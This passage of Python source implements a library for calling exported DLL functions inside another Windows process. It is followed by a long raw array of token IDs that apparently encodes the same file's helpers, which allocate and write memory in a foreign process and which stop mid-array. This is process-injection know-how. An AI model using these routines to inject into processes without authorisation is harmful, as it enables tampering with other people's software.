0, MEM_RELEASE) return result.value def __populate_exports__(self): if len(os.path.splitext(self._name)[1].lower()) == 0: self._name += '.dll' pe = pefile.PE(self._name, fast_load = True) direxport = pe.OPTIONAL_HEADER.DATA_DIRECTORY[0] exportsobj = pe.parse_export_directory(direxport.VirtualAddress, direxport.Size) pe.close() for export in exportsobj.symbols: self._exports_[export.name] =\ self._exports_[export.ordinal] =\ self._handle + export.address def __repr__(self): return "<%s '%s', handle %x at %x>" %\ (self.__class__.__name__, self._name, (self._handle & (_sys.maxint * 2 + 1)), id(self) & (_sys.maxint * 2 + 1)) def __getattr__(self, name): if name.startswith('__') and name.endswith('__'): raise AttributeError(name) func = self.__getitem__(name) super(RCDLL, self).__setattr__(name, func) self._funcs_[name] = func #setattr(self, name, func) return func def __setattr__(self, key, value): if key in self._exports_.keys(): self._funcs_[key] = value else: super(RCDLL, self).__setattr__(key, value) def __getitem__(self, name_or_ordinal): if name_or_ordinal in self._funcs_.keys(): return self._funcs_[name_or_ordinal] ordinal = isinstance(name_or_ordinal, (int, long)) if not self._exports_.has_key(name_or_ordinal): if ordinal: raise WindowsError('Could not find address of function at ordinal: %d' % name_or_ordinal) else: raise WindowsError('Could not find address of function named: %s' % name_or_ordinal) func = self._FuncPtr(self._exports_[name_or_ordinal], name_or_ordinal, self) if not ordinal: func.__name__ = name_or_ordinal return func class RPyDLL(RCDLL): """This class represents the Python library itself. It allows to access Python API functions. The GIL is not released, and Python exceptions are handled correctly. """ _func_flags_ = _FUNCFLAG_CDECL | _FUNCFLAG_PYTHONAPI class RWinDLL(RCDLL): """This class represents a dll exporting functions using the Windows stdcall calling convention. """ _func_flags_ = _FUNCFLAG_STDCALL rcdll = LibraryLoader(RCDLL) rwindll = LibraryLoader(RWinDLL) rpydll = LibraryLoader(RPyDLL) if __name__ == '__main__': testdll = RCDLL('testdll.dll') Initialize = testdll.Initialize Initialize.restype = None Initialize.argtypes = [] Initialize() testdll.Finalize()
[ 1, 396, 8025, 29901, 23616, 29899, 29947, 13, 15945, 29908, 13, 4013, 1824, 338, 3889, 7047, 29889, 739, 5304, 1728, 738, 1370, 21867, 29891, 29892, 304, 13, 1552, 15834, 21905, 491, 22903, 4307, 29889, 887, 508, 2654, 391, 2666, 372, 13, 392, 29914, 272, 6623, 372, 1090, 278, 4958, 310, 278, 1938, 1724, 450, 383, 2707, 887, 399, 424, 13, 1762, 5236, 19245, 29892, 10079, 29871, 29906, 29892, 408, 6369, 491, 3685, 8335, 346, 1707, 29889, 2823, 13, 1124, 597, 13445, 29889, 2502, 29891, 29889, 990, 29914, 29893, 13264, 572, 29914, 3217, 20055, 4214, 363, 901, 4902, 29889, 13, 13, 4986, 3970, 29901, 8561, 445, 451, 480, 384, 29889, 13, 15945, 29908, 13, 5215, 2897, 13, 3166, 903, 312, 7384, 1053, 383, 3904, 9207, 4375, 29954, 29918, 29907, 2287, 6154, 408, 903, 29943, 3904, 9207, 4375, 29954, 29918, 29907, 2287, 6154, 2053, 13, 29943, 3904, 9207, 4375, 29954, 29918, 1254, 12696, 9818, 408, 903, 29943, 3904, 9207, 4375, 29954, 29918, 1254, 12696, 9818, 2053, 13, 29943, 3904, 9207, 4375, 29954, 29918, 20055, 4690, 1164, 8787, 408, 903, 29943, 3904, 9207, 4375, 29954, 29918, 20055, 4690, 1164, 8787, 2053, 13, 29943, 3904, 9207, 4375, 29954, 29918, 17171, 29918, 21662, 6632, 408, 903, 29943, 3904, 9207, 4375, 29954, 29918, 17171, 29918, 21662, 6632, 2053, 13, 29943, 3904, 9207, 4375, 29954, 29918, 17171, 29918, 4375, 1254, 11432, 408, 903, 29943, 3904, 9207, 4375, 29954, 29918, 17171, 29918, 4375, 1254, 11432, 13, 3166, 903, 17460, 29941, 29906, 1053, 349, 5896, 12284, 29956, 408, 349, 5896, 12284, 13, 3166, 3622, 1053, 1236, 1445, 13, 13, 5215, 2090, 312, 8789, 13, 3166, 903, 17460, 29941, 29906, 1053, 334, 13, 3166, 2281, 1053, 22235, 2311, 408, 903, 1052, 2395, 29920, 13, 13, 29937, 22310, 537, 6433, 313, 19557, 4097, 29914, 3188, 4413, 29914, 12171, 29897, 13, 1753, 2626, 29877, 675, 29898, 5415, 1125, 13, 12, 15945, 29908, 13, 12, 4591, 278, 5132, 3826, 272, 1061, 9538, 313, 1124, 597, 4594, 29889, 4691, 29889, 990, 29914, 4346, 262, 29914, 11980, 6185, 272, 1061, 12284, 1125, 13, 12, 10408, 278, 2582, 310, 263, 740, 1246, 411, 2702, 6273, 29889, 3940, 393, 445, 10200, 1061, 5330, 2361, 3579, 19290, 29889, 13, 12, 15945, 29908, 13, 12, 8173, 353, 5446, 29889, 8173, 353, 6571, 13, 13, 12, 29992, 7692, 312, 8789, 29889, 29893, 336, 567, 29898, 5415, 29897, 13, 12, 1753, 2626, 29877, 3950, 10456, 5085, 29892, 3579, 19290, 1125, 13, 12, 12, 361, 6389, 451, 297, 7090, 29901, 13, 12, 12, 12, 8173, 29961, 5085, 29962, 353, 5446, 10456, 5085, 29892, 3579, 19290, 29897, 13, 12, 12, 2457, 7090, 29961, 5085, 29962, 13, 13, 12, 2457, 2626, 29877, 3950, 13, 13, 1753, 903, 2886, 29918, 3560, 29918, 5014, 7295, 13, 12, 15945, 29908, 13, 12, 6039, 2408, 278, 1889, 322, 3244, 2893, 14903, 310, 278, 3847, 1889, 29889, 13, 13, 12, 28443, 679, 29918, 3560, 29918, 5014, 29898, 23671, 8618, 23524, 29918, 1177, 19094, 8098, 282, 1631, 1723, 13, 12, 29912, 13, 12, 12, 29950, 9468, 1307, 298, 29903, 8971, 29936, 13, 12, 12, 8618, 23524, 3919, 13207, 29941, 29906, 1236, 29936, 13, 12, 12, 4690, 16310, 3919, 13207, 29941, 29906, 12, 371, 29936, 13, 12, 12, 29928, 17013, 12, 333, 353, 3617, 7583, 7032, 1204, 890, 13, 12, 12, 28443, 12, 285, 20434, 29936, 13, 13, 12, 12, 29882, 29903, 8971, 353, 6204, 12229, 8477, 29941, 29906, 21913, 29898, 3446, 29941, 29906, 9295, 29918, 19296, 3301, 8618, 23524, 29989, 4690, 29941, 29906, 9295, 29918, 19296, 3301, 4690, 16310, 29892, 1178, 3482, 13, 13, 12, 12, 361, 313, 29882, 29903, 8971, 1275, 2672, 26707, 29918, 29950, 9468, 1307, 29918, 19143, 29897, 13, 12, 12, 12, 2457, 17131, 29936, 13, 13, 12, 12, 2886, 29918, 15439, 29918, 333, 29898, 298, 29903, 8971, 29892, 1178, 29892, 669, 412, 3482, 13, 12, 12, 361, 5384, 2886, 29918, 15439, 29918, 333, 29898, 298, 29903, 8971, 29892, 1236, 29889, 386, 29941, 29906, 9780, 7032, 1367, 29892, 669, 412, 29871, 876, 13, 12, 12, 29912, 13, 12, 12, 12, 11123, 13554, 29898, 298, 29903, 8971, 3482, 13, 12, 12, 12, 2457, 17131, 29936, 13, 12, 12, 29913, 13, 13, 12, 12, 371, 29889, 28012, 3505, 353, 13810, 29898, 371, 416, 13, 12, 12, 1454, 313, 29888, 20434, 353, 10480, 29941, 29906, 6730, 29898, 298, 29903, 8971, 29892, 669, 371, 3482, 285, 20434, 29936, 285, 20434, 353, 10480, 29941, 29906, 9190, 29898, 298, 29903, 8971, 29892, 669, 371, 29871, 876, 13, 12, 12, 12, 361, 313, 371, 29889, 386, 29941, 29906, 28213, 7032, 1367, 1275, 1236, 29889, 386, 29941, 29906, 7032, 1367, 29897, 13, 12, 12, 12, 12, 8690, 29936, 13, 13, 12, 12, 11123, 13554, 29898, 298, 29903, 8971, 3482, 13, 13, 12, 12, 19788, 976, 28012, 7032, 1204, 353, 1236, 29889, 386, 29941, 29906, 7032, 1367, 29936, 13, 12, 12, 19788, 976, 28012, 4899, 1204, 12, 29922, 734, 29889, 386, 29941, 29906, 4899, 1367, 29936, 13, 13, 12, 12, 2457, 285, 20434, 29936, 13, 12, 29913, 13, 12, 15945, 29908, 13, 12, 5935, 353, 3617, 7583, 7032, 1204, 580, 13, 13, 12, 29882, 29903, 8971, 353, 6204, 12229, 8477, 29941, 29906, 21913, 29898, 8618, 29907, 29918, 4690, 16310, 29918, 19296, 3301, 7068, 2891, 29892, 29871, 29900, 29897, 13, 12, 361, 298, 29903, 8971, 1275, 4265, 29901, 13, 12, 12, 22692, 8892, 2392, 877, 23323, 451, 1653, 263, 21704, 8477, 29941, 29906, 21913, 1495, 13, 13, 12, 29898, 29888, 20434, 29892, 1236, 29897, 353, 903, 2886, 29918, 15439, 29918, 333, 29898, 29882, 29903, 8971, 29892, 23107, 29897, 13, 12, 361, 285, 20434, 1275, 17131, 29901, 13, 12, 12, 22692, 8892, 2392, 877, 23323, 451, 1284, 1857, 9580, 1495, 13, 13, 12, 407, 333, 353, 1236, 29889, 386, 29941, 29906, 9780, 7032, 1367, 13, 12, 29888, 20434, 29892, 282, 412, 353, 903, 2886, 29918, 15439, 29918, 333, 29898, 29882, 29903, 8971, 29892, 282, 5935, 29897, 13, 12, 361, 285, 20434, 1275, 17131, 29901, 13, 12, 12, 22692, 8892, 2392, 877, 23323, 451, 1284, 3847, 9580, 1178, 1495, 13, 13, 12, 371, 353, 3446, 16310, 3919, 13207, 29941, 29906, 580, 13, 12, 371, 29889, 28012, 3505, 353, 317, 29999, 4690, 16310, 3919, 13207, 13, 12, 29888, 20434, 353, 10480, 29941, 29906, 6730, 29898, 29882, 29903, 8971, 29892, 491, 999, 29898, 371, 876, 13, 12, 8000, 285, 20434, 2804, 17131, 29901, 13, 12, 12, 361, 734, 29889, 386, 29941, 29906, 28213, 7032, 1367, 1275, 282, 412, 29889, 386, 29941, 29906, 7032, 1367, 29901, 2867, 13, 12, 12, 29888, 20434, 353, 10480, 29941, 29906, 9190, 29898, 29882, 29903, 8971, 29892, 491, 999, 29898, 371, 876, 13, 12, 361, 285, 20434, 1275, 17131, 29901, 13, 12, 12, 22692, 8892, 2392, 877, 23323, 451, 1284, 3244, 29889, 1495, 13, 12, 11123, 13554, 29898, 29882, 29903, 8971, 29897, 13, 12, 2457, 282, 412, 29889, 386, 29941, 29906, 7032, 1367, 29892, 734, 29889, 386, 29941, 29906, 4899, 1367, 13, 13, 1753, 903, 2886, 29918, 15439, 29918, 333, 29898, 29882, 29903, 8971, 29892, 23107, 1125, 13, 12, 15945, 29908, 13, 12, 7974, 1269, 1889, 297, 278, 22395, 363, 1178, 29889, 13, 12, 28443, 1284, 29918, 15439, 29918, 333, 29898, 379, 9468, 1307, 15101, 29892, 360, 17013, 1178, 29892, 23671, 8618, 23524, 3919, 13207, 29941, 29906, 282, 412, 1723, 13, 12, 29912, 13, 12, 12, 28443, 285, 20434, 29936, 13, 12, 12, 4798, 976, 28012, 3505, 353, 13810, 29898, 8618, 23524, 3919, 13207, 29941, 29906, 416, 13, 12, 12, 1454, 313, 29888, 20434, 353, 10554, 29941, 29906, 6730, 29898, 15101, 29892, 282, 412, 3482, 285, 20434, 29936, 285, 20434, 353, 10554, 29941, 29906, 9190, 29898, 15101, 29892, 282, 412, 29871, 876, 13, 12, 12, 12, 361, 313, 4798, 976, 386, 29941, 29906, 7032, 1367, 1275, 1178, 29897, 13, 12, 12, 12, 12, 8690, 29936, 13, 12, 12, 2457, 285, 20434, 29936, 13, 12, 29913, 13, 12, 15945, 29908, 13, 12, 4798, 353, 13756, 23524, 3919, 13207, 29941, 29906, 580, 13, 12, 4798, 29889, 28012, 3505, 353, 317, 29999, 8618, 23524, 3919, 13207, 13, 12, 29888, 20434, 353, 10554, 29941, 29906, 6730, 29898, 29882, 29903, 8971, 29892, 491, 999, 29898, 4798, 876, 13, 12, 8000, 285, 20434, 2804, 17131, 29901, 13, 12, 12, 361, 282, 412, 29889, 386, 29941, 29906, 7032, 1367, 1275, 23107, 29901, 2867, 13, 12, 12, 29888, 20434, 353, 10554, 29941, 29906, 9190, 29898, 29882, 29903, 8971, 29892, 491, 999, 29898, 4798, 876, 13, 12, 2457, 285, 20434, 29892, 282, 412, 13, 13, 1753, 903, 29890, 1478, 333, 29898, 5935, 1125, 13, 12, 15945, 29908, 13, 12, 12542, 263, 1889, 322, 372, 29915, 29879, 1667, 3244, 491, 967, 1889, 3553, 29889, 13, 12, 15945, 29908, 13, 12, 29882, 29903, 8971, 353, 6204, 12229, 8477, 29941, 29906, 21913, 29898, 8618, 29907, 29918, 4690, 16310, 29918, 19296, 3301, 7068, 2891, 29892, 29871, 29900, 29897, 13, 12, 361, 298, 29903, 8971, 1275, 4265, 29901, 12020, 8892, 2392, 877, 23323, 451, 1653, 263, 21704, 8477, 29941, 29906, 21913, 1495, 13, 12, 29898, 29888, 20434, 29892, 1236, 29897, 353, 903, 2886, 29918, 15439, 29918, 333, 29898, 29882, 29903, 8971, 29892, 23107, 29897, 13, 12, 361, 285, 20434, 1275, 17131, 29901, 12020, 8892, 2392, 877, 23323, 451, 1284, 1889, 491, 1178, 29901, 1273, 29881, 29915, 1273, 23107, 29897, 13, 13, 12, 29937, 10987, 278, 3244, 13, 12, 371, 353, 3446, 16310, 3919, 13207, 29941, 29906, 580, 13, 12, 371, 29889, 28012, 3505, 353, 317, 29999, 4690, 16310, 3919, 13207, 13, 12, 29888, 20434, 353, 10480, 29941, 29906, 6730, 29898, 29882, 29903, 8971, 29892, 491, 999, 29898, 371, 876, 13, 12, 8000, 285, 20434, 2804, 17131, 29901, 13, 12, 12, 361, 734, 29889, 386, 29941, 29906, 28213, 7032, 1367, 1275, 1236, 29889, 386, 29941, 29906, 7032, 1367, 29901, 2867, 13, 12, 12, 29888, 20434, 353, 10480, 29941, 29906, 9190, 29898, 29882, 29903, 8971, 29892, 491, 999, 29898, 371, 876, 13, 12, 361, 285, 20434, 1275, 17131, 29901, 12020, 8892, 2392, 877, 23323, 451, 1284, 3244, 29889, 1495, 13, 12, 11123, 13554, 29898, 29882, 29903, 8971, 29897, 13, 12, 2457, 1236, 29889, 386, 29941, 29906, 7032, 1367, 29892, 734, 29889, 386, 29941, 29906, 4899, 1367, 13, 13, 1753, 903, 4058, 29918, 5085, 10456, 5085, 1125, 13, 12, 15945, 29908, 18744, 2999, 6273, 964, 29871, 9995, 13, 12, 1990, 903, 7883, 29898, 5015, 12425, 1125, 1209, 13, 12, 9621, 353, 5159, 13, 12, 1454, 474, 29892, 1852, 297, 26985, 29898, 5085, 1125, 13, 12, 12, 9621, 29889, 4397, 29898, 877, 1191, 29995, 29881, 29915, 1273, 474, 29892, 1134, 29898, 1191, 511, 876, 13, 12, 29918, 7883, 3032, 9621, 29918, 353, 4235, 13, 12, 7883, 353, 903, 7883, 580, 13, 12, 1454, 474, 29892, 1852, 297, 26985, 29898, 5085, 1125, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 842, 5552, 29898, 7883, 29892, 525, 1191, 29995, 29881, 29915, 1273, 474, 29892, 1852, 29897, 13, 12, 12, 19499, 29901, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 842, 5552, 29898, 7883, 29892, 525, 1191, 29995, 29881, 29915, 1273, 474, 29892, 1852, 29889, 1767, 29897, 13, 12, 12, 12, 19499, 29901, 13, 12, 12, 12, 12, 842, 5552, 29898, 7883, 29892, 525, 1191, 29995, 29881, 29915, 1273, 474, 29892, 1852, 29889, 10853, 29897, 13, 12, 2457, 826, 3174, 13, 13, 29918, 3616, 29886, 29896, 353, 14013, 263, 29901, 7431, 29898, 29874, 29897, 718, 29871, 29896, 13, 13, 1753, 903, 275, 7414, 29898, 22449, 1125, 13, 12, 2457, 756, 5552, 29898, 22449, 29892, 22868, 1853, 29918, 1495, 322, 313, 22449, 3032, 1853, 29918, 1275, 525, 29925, 29915, 470, 1134, 29898, 22449, 3032, 1853, 19925, 2804, 851, 29897, 13, 13, 1753, 903, 29886, 948, 398, 22449, 29906, 312, 668, 29898, 1191, 29892, 2393, 29922, 8516, 1125, 13, 12, 361, 2393, 338, 6213, 29901, 2393, 353, 1134, 29898, 1191, 29897, 13, 12, 361, 2393, 1275, 938, 29901, 13, 12, 12, 361, 1852, 529, 29871, 29900, 29901, 13, 12, 12, 12, 29937, 312, 1478, 353, 274, 29918, 12759, 13, 12, 12, 12, 29937, 361, 1852, 1405, 274, 29918, 12759, 29918, 3317, 470, 1852, 529, 274, 29918, 12759, 29918, 1195, 29901, 13, 12, 12, 12, 312, 1478, 353, 274, 29918, 524, 13, 12, 12, 12, 361, 1852, 1405, 274, 29918, 524, 29918, 3317, 470, 1852, 529, 274, 29918, 524, 29918, 1195, 29901, 13, 12, 12, 12, 12, 312, 1478, 353, 274, 29918, 5426, 5426, 565, 1852, 1405, 274, 29918, 5426, 29918, 3317, 470, 1852, 529, 274, 29918, 5426, 29918, 1195, 1683, 274, 29918, 5426, 13, 12, 12, 12, 2457, 274, 22449, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 29937, 312, 1478, 353, 274, 29918, 1878, 441, 13, 12, 12, 12, 29937, 361, 1852, 1405, 274, 29918, 1878, 441, 29918, 3317, 29901, 13, 12, 12, 12, 312, 1478, 353, 274, 29918, 13470, 13, 12, 12, 12, 361, 1852, 1405, 274, 29918, 13470, 29918, 3317, 29901, 13, 12, 12, 12, 12, 312, 1478, 353, 274, 29918, 352, 549, 5426, 565, 1852, 1405, 274, 29918, 352, 549, 29918, 3317, 1683, 274, 29918, 352, 549, 13, 12, 12, 12, 2457, 274, 22449, 13, 12, 23681, 2393, 1275, 1472, 29901, 13, 12, 12, 361, 1852, 529, 29871, 29900, 29901, 13, 12, 12, 12, 2457, 274, 29918, 5426, 5426, 565, 1852, 1405, 274, 29918, 5426, 29918, 3317, 470, 1852, 529, 274, 29918, 5426, 29918, 1195, 1683, 274, 29918, 5426, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 2457, 274, 29918, 352, 549, 5426, 565, 1852, 1405, 274, 29918, 352, 549, 29918, 3317, 1683, 274, 29918, 352, 549, 13, 12, 23681, 2393, 1275, 5785, 29901, 13, 12, 12, 312, 1478, 353, 274, 29918, 7411, 13, 12, 12, 2202, 29901, 1121, 353, 274, 22449, 29898, 1191, 29897, 13, 12, 12, 19499, 29901, 13, 12, 12, 12, 312, 1478, 353, 274, 29918, 8896, 13, 12, 12, 12, 2202, 29901, 1121, 353, 274, 22449, 29898, 1191, 29897, 13, 12, 12, 12, 19499, 29901, 274, 22449, 353, 274, 29918, 5426, 8896, 13, 12, 12, 2457, 274, 22449, 13, 12, 2870, 29901, 13, 12, 12, 22692, 8960, 877, 8559, 19403, 2615, 304, 367, 263, 1353, 29899, 1853, 636, 11842, 29901, 1273, 29879, 5167, 29901, 1273, 29879, 29915, 1273, 313, 710, 29898, 1191, 511, 851, 29898, 22449, 4961, 13, 13, 1753, 903, 29883, 2749, 1853, 29898, 791, 29892, 2393, 29892, 2159, 29892, 954, 29922, 5574, 1125, 13, 12, 12, 9721, 353, 2393, 580, 13, 12, 12, 27489, 353, 7431, 29898, 791, 29897, 448, 29871, 29896, 13, 12, 12, 1454, 474, 297, 3464, 29898, 29900, 29892, 2159, 448, 29871, 29896, 1125, 13, 12, 12, 12, 361, 474, 1405, 5573, 29901, 6773, 13, 12, 12, 12, 361, 1134, 29898, 791, 29961, 29875, 2314, 297, 518, 710, 29892, 29104, 29962, 322, 954, 29901, 13, 12, 12, 12, 12, 791, 29961, 29875, 29962, 353, 4356, 29898, 791, 29961, 29875, 2314, 13, 12, 12, 12, 9721, 29961, 29875, 29962, 353, 659, 29961, 29875, 29962, 13, 12, 12, 2457, 18392, 13, 13, 1753, 903, 2272, 305, 1503, 29906, 312, 668, 29898, 1191, 29892, 2159, 353, 6213, 29892, 2393, 29922, 8516, 1125, 13, 12, 361, 2393, 338, 6213, 29901, 2393, 353, 1134, 29898, 1191, 29897, 13, 12, 361, 2159, 338, 6213, 29901, 2159, 353, 7431, 29898, 1191, 29897, 13, 12, 361, 2393, 1275, 851, 29901, 13, 12, 12, 2457, 274, 29918, 3090, 29918, 29886, 29892, 1653, 29918, 1807, 29918, 9040, 29898, 1191, 29892, 2159, 29897, 13, 12, 23681, 2393, 1275, 29104, 29901, 13, 12, 12, 2457, 274, 29918, 29893, 3090, 29918, 29886, 29892, 1653, 29918, 2523, 356, 29918, 9040, 29898, 1191, 29892, 2159, 29897, 13, 12, 23681, 2393, 1275, 6835, 29901, 13, 12, 12, 29937, 1217, 1144, 27988, 10772, 1542, 5596, 261, 13, 12, 12, 1191, 1853, 353, 274, 29918, 4471, 371, 334, 2159, 13, 12, 12, 2457, 1852, 1853, 29892, 903, 29883, 2749, 1853, 29898, 1761, 29898, 1191, 511, 1852, 1853, 29892, 2159, 29897, 13, 12, 23681, 2393, 1275, 7023, 2378, 29901, 13, 12, 12, 2311, 4619, 29871, 29896, 13, 12, 12, 29937, 1217, 1144, 27988, 10772, 1542, 5596, 261, 29892, 19737, 2525, 9778, 1490, 1123, 10662, 13, 12, 12, 1191, 1853, 353, 274, 29918, 10389, 334, 2159, 13, 12, 12, 2457, 1852, 1853, 29892, 903, 29883, 2749, 1853, 29898, 1761, 29898, 1191, 511, 1852, 1853, 29892, 2159, 448, 29871, 29896, 29897, 13, 13, 1753, 11451, 29906, 312, 668, 29898, 1191, 1125, 13, 12, 15945, 29908, 14402, 29901, 4803, 445, 297, 278, 24082, 29914, 1191, 1853, 6433, 297, 390, 9207, 4661, 12058, 9995, 13, 12, 22449, 353, 1134, 29898, 1191, 29897, 13, 12, 361, 2393, 297, 518, 710, 29892, 29104, 29892, 6835, 29892, 7023, 2378, 5387, 13, 12, 12, 312, 1478, 29892, 274, 791, 353, 29871, 903, 2272, 305, 1503, 29906, 312, 668, 29898, 1191, 29892, 2393, 29922, 22449, 29897, 13, 12, 12, 2457, 274, 791, 13, 12, 23681, 2393, 297, 518, 938, 29892, 1472, 29892, 5785, 4514, 29901, 13, 12, 12, 312, 1478, 353, 903, 29886, 948, 398, 22449, 29906, 312, 668, 29898, 1191, 29892, 2393, 29897, 13, 12, 12, 2457, 274, 22449, 29898, 1191, 29897, 13, 12, 23681, 2393, 297, 518, 1761, 29892, 731, 29892, 18761, 5387, 13, 12, 12, 1191, 353, 1051, 29898, 1191, 29897, 13, 12, 12, 2311, 353, 7431, 29898, 1191, 29897, 718, 29871, 29896, 13, 12, 12, 1191, 1853, 353, 274, 29918, 524, 13, 12, 12, 1949, 22449, 353, 5852, 13, 12, 12, 29937, 9333, 2675, 304, 4386, 16250, 310, 6031, 29892, 29104, 6031, 29892, 322, 3694, 13, 12, 12, 1454, 1852, 29875, 297, 1852, 29901, 13, 12, 12, 12, 22449, 353, 1134, 29898, 1191, 29875, 29897, 13, 12, 12, 12, 361, 2393, 297, 518, 851, 29892, 29104, 4514, 29901, 13, 12, 12, 12, 12, 1191, 1853, 29892, 20254, 353, 903, 2272, 305, 1503, 29906, 312, 668, 29898, 1191, 29875, 29892, 2393, 29922, 22449, 29897, 13, 12, 12, 12, 12, 1949, 22449, 353, 7700, 13, 12, 12, 12, 12, 8690, 13, 12, 12, 12, 23681, 2393, 297, 518, 1472, 29892, 938, 29892, 5785, 4514, 29901, 13, 12, 12, 12, 12, 1191, 1853, 353, 29871, 903, 29886, 948, 398, 22449, 29906, 312, 668, 29898, 1191, 29875, 29892, 2393, 29897, 13, 12, 12, 12, 12, 361, 2393, 1275, 5785, 29901, 954, 22449, 353, 7700, 13, 12, 12, 12, 12, 8690, 13, 12, 12, 2457, 903, 29883, 2749, 1853, 29898, 1191, 29892, 1852, 1853, 334, 2159, 29892, 2159, 29892, 954, 29922, 1949, 22449, 29897, 13, 12, 2870, 29901, 13, 12, 12, 22692, 8960, 877, 29928, 609, 1073, 825, 304, 437, 411, 1852, 7790, 29876, 8559, 29901, 1273, 29879, 29905, 29876, 1542, 29901, 1273, 29879, 29915, 1273, 313, 1191, 29892, 1134, 29898, 1191, 4961, 13, 13, 1990, 903, 29934, 9207, 4661, 12058, 29898, 3318, 1125, 13, 12, 29918, 10030, 29918, 353, 29871, 29900, 13, 12, 29918, 15764, 29918, 353, 6213, 13, 12, 29918, 5060, 668, 29918, 353, 6213, 13, 12, 29918, 9891, 7414, 29918, 353, 6213, 13, 12, 29918, 29882, 5014, 29918, 353, 6213, 13, 13, 12, 1753, 903, 1767, 974, 29898, 1311, 29892, 1852, 1125, 13, 12, 12, 361, 451, 756, 5552, 29898, 1191, 29892, 22868, 1853, 29918, 29374, 13, 12, 12, 12, 2457, 1852, 13, 12, 12, 23681, 756, 5552, 29898, 1191, 29892, 525, 1767, 29374, 13, 12, 12, 12, 2457, 1852, 29889, 1767, 13, 12, 12, 23681, 756, 5552, 29898, 1191, 29892, 525, 10853, 29374, 13, 12, 12, 12, 2457, 1852, 29889, 10853, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 2457, 1852, 13, 12, 12, 12, 29937, 22692, 8960, 877, 10310, 20333, 29873, 1073, 920, 304, 679, 278, 995, 310, 1852, 7790, 29876, 1542, 29901, 1273, 29879, 29915, 1273, 1134, 29898, 1191, 876, 13, 13, 12, 1753, 903, 791, 517, 1191, 1853, 29898, 1311, 29892, 1852, 29892, 1852, 1853, 1125, 13, 12, 12, 2914, 353, 29871, 29900, 13, 12, 12, 361, 1134, 29898, 1191, 29897, 297, 518, 710, 29892, 29104, 5387, 13, 12, 12, 12, 361, 1852, 1853, 1275, 274, 29918, 3090, 29918, 29886, 29901, 13, 12, 12, 12, 12, 2914, 353, 1653, 29918, 1807, 29918, 9040, 29898, 1191, 29892, 7431, 29898, 1191, 29897, 718, 29871, 29896, 29897, 13, 12, 12, 12, 23681, 1852, 1853, 1275, 274, 29918, 29893, 3090, 29918, 29886, 29901, 13, 12, 12, 12, 12, 2914, 353, 1653, 29918, 2523, 356, 29918, 9040, 29898, 1191, 29892, 7431, 29898, 1191, 29897, 718, 29871, 29896, 29897, 13, 12, 12, 12, 23681, 1852, 1853, 3032, 1853, 29918, 1275, 274, 29918, 4471, 371, 29901, 13, 12, 12, 12, 12, 2914, 353, 313, 29883, 29918, 4471, 371, 334, 7431, 29898, 1191, 29897, 718, 29871, 29896, 29897, 580, 13, 12, 12, 12, 12, 1454, 474, 29892, 274, 297, 26985, 29898, 1191, 1125, 13, 12, 12, 12, 12, 12, 2914, 29961, 29875, 29962, 353, 274, 13, 12, 12, 12, 2870, 29901, 13, 12, 12, 12, 12, 22692, 8960, 877, 10310, 20333, 29873, 1073, 920, 304, 3588, 1347, 29892, 11860, 29879, 29908, 964, 1134, 29901, 1273, 29879, 29915, 1273, 313, 1191, 29892, 1852, 1853, 876, 13, 12, 12, 29937, 4398, 1134, 13, 12, 12, 23681, 756, 5552, 29898, 1191, 1853, 29892, 22868, 2848, 29918, 1495, 29905, 13, 12, 12, 272, 1134, 29898, 1191, 1853, 3032, 1853, 19925, 2804, 851, 29901, 396, 3929, 1639, 1134, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 2914, 353, 4320, 29898, 1191, 29892, 1852, 1853, 29897, 13, 12, 12, 12, 19499, 29901, 13, 12, 12, 12, 12, 2914, 353, 1852, 13, 12, 12, 23681, 756, 5552, 29898, 1191, 1853, 29892, 525, 1767, 29374, 13, 12, 12, 12, 2202, 29901, 1121, 353, 1852, 1853, 29898, 1191, 29897, 13, 12, 12, 12, 19499, 29901, 1121, 353, 1852, 13, 12, 12, 2870, 29901, 13, 12, 12, 12, 2202, 29901, 1121, 353, 4320, 29898, 1191, 29892, 274, 29918, 5405, 29918, 29886, 29897, 13, 12, 12, 12, 19499, 29901, 1121, 353, 1852, 13, 12, 12, 12, 29937, 22692, 8960, 877, 10310, 20333, 29873, 1073, 920, 304, 3588, 1852, 304, 1852, 1853, 7790, 29876, 8559, 29901, 1273, 29879, 29905, 29876, 8559, 1853, 29901, 1273, 29879, 29915, 1273, 313, 1191, 29892, 1852, 1853, 876, 13, 12, 12, 2457, 1121, 13, 13, 12, 1753, 903, 15956, 29918, 842, 29918, 1707, 29898, 1311, 29892, 659, 1125, 13, 12, 12, 15945, 29908, 13, 12, 12, 28443, 6643, 29918, 842, 29918, 1707, 29909, 29898, 29931, 9026, 10810, 29930, 6835, 29892, 379, 9468, 1307, 298, 7032, 29892, 365, 9026, 10810, 659, 29897, 13, 12, 12, 29912, 13, 12, 12, 12, 14226, 29918, 29911, 18392, 2435, 353, 313, 29880, 710, 2435, 29898, 791, 29897, 718, 29871, 29896, 29897, 334, 13810, 29898, 3075, 1373, 416, 13, 12, 12, 12, 361, 5384, 10456, 9040, 353, 313, 29931, 9026, 10810, 29897, 19181, 2499, 2029, 1252, 29898, 29882, 7032, 29892, 4265, 29892, 18392, 2435, 29892, 341, 12665, 29918, 3217, 7428, 1806, 29892, 349, 10461, 29918, 16310, 16365, 4961, 13, 12, 12, 12, 12, 2457, 29918, 2704, 703, 23323, 451, 23632, 3370, 363, 1749, 1243, 1246, 18327, 13, 13, 12, 12, 12, 361, 5384, 6113, 7032, 16015, 29898, 29882, 7032, 29892, 313, 13208, 24898, 1367, 11877, 9040, 29892, 313, 29931, 9026, 24898, 1367, 29897, 791, 29892, 313, 14226, 29918, 29911, 29897, 9721, 2435, 29892, 4265, 876, 13, 12, 12, 12, 12, 2457, 29918, 2704, 703, 23323, 2436, 304, 1749, 7592, 2286, 636, 1496, 13, 12, 12, 12, 2457, 15676, 29936, 13, 12, 12, 29913, 13, 12, 12, 15945, 29908, 13, 12, 12, 9721, 2435, 353, 13810, 29898, 791, 29897, 13, 12, 12, 9040, 353, 19181, 2499, 2029, 1252, 29898, 1311, 3032, 29882, 5014, 3383, 29871, 29900, 29931, 29892, 18392, 2435, 29892, 341, 12665, 29918, 3217, 7428, 1806, 29892, 349, 10461, 29918, 16310, 16365, 29897, 13, 12, 12, 361, 6835, 1275, 4265, 29901, 13, 12, 12, 